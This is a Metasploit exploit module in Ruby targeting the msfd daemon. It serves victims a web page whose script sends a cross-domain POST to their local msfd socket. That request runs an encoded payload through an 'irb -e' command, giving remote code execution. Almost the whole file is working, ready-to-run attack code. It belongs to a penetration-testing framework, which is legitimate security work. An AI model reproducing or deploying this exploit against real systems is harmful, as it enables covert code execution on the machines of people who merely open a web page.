##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
     'Name'           => 'Metasploit msfd Remote Code Execution via Browser',
     'Description'    => %q{
      Metasploit's msfd-service makes it possible to get a msfconsole-like
      interface over a TCP socket. This module connects to the msfd-socket
      through the victim's browser.

      To execute msfconsole-commands in JavaScript from a web application,
      this module places the payload in the POST-data. These POST-requests
      can be sent cross-domain and can therefore be sent to localhost on the
      victim's machine. The msfconsole-command to execute code is 'rbi -e
      "CODE"'.

      Exploitation when the browser is running on Windows is unreliable and
      the exploit is only usable when IE is used and the quiet-flag has been
      passed to msf-daemon.
      },
      'License'        => BSD_LICENSE,
      'Author'         => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Targets'        =>
        [
          [ 'Automatic', {}],
        ],
      'Payload'        =>
        {
          'Space' => 8192,  # Arbitrary limit
          'DisableNops' =>  'True',
          'BadChars' => "\x22\x0a"
        },
      'DisclosureDate' => '2018-04-11',  # Vendor notification
      'DefaultTarget'  => 0))

      register_options([
        OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']),
        OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554'])
      ])
  end

  def exploit
    super
  end

  def on_request_uri(cli, request)
    msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
    sc = payload.encoded
    shellcode = "\\x" + sc.unpack('U'*sc.length).collect {|x| x.to_s 16}.join("\\x")
    var1 = rand_text_alpha(rand(6..11))
    var2 = rand_text_alpha(rand(6..11))
    html =  <<-EOS
<html>
<head></head>
<body>
<script>
var #{var1} = new XMLHttpRequest();
#{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);
var #{var2} = String("#{shellcode}");
#{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");
</script>
</body>
</html>
EOS
    print_status("#{msg} Sending HTML...")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end
